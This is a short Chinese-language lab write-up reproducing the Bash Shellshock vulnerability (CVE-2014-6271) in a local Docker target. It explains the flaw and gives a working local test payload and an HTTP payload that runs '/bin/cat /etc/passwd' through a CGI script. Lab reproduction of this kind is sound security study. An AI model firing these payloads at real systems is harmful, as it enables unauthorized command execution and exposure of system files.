12
0
0
Bash 破壳漏洞(CVE-2014-6271)
文章摘要
|
介绍
GNU Bash 4.3及之前版本在评估某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行Shell命令。某些服务和应用允许未经身份验证的远程攻击者提供环境变量以利用此漏洞。此漏洞源于在调用Bash Shell之前可以用构造的值创建环境变量。这些变量可以包含代码,在Shell被调用后会被立即执行。
原理
父进程中的特殊变量字符串(这里指字符串内容为函数)成为环境变量后,在子进程中调用该字符串时将其理解为函数执行
环境说明
靶机:Ubuntu24.04 IP:192.168.75.132
攻击机:Win11
参考文档:Bash 破壳漏洞Shellshock (CVE-2014-6271)复现分析
靶机环境配置
进入 CVE-2014-6271 目录,启动环境

查看IP

查看端口号

在win11访问[IP:8080]

本地漏洞验证
进入docker容器
docker exec -it [id] bash执行Payload
env x='() { :;}; echo shellshocked' bash -c "echo hi"
证明存在漏洞
漏洞利用场景
程序在某一时刻使用 bash 作为脚本解释器处理环境变量赋值
环境变量的赋值字符串来源于用户输入 , 且没有通过有效的过滤
漏洞利用
访问靶机服务
http://[IP]/victim.cgi
使用HackBar利用如下Payload
() { :; }; echo; /bin/cat /etc/passwd
结果显示命令被执行,漏洞利用成功

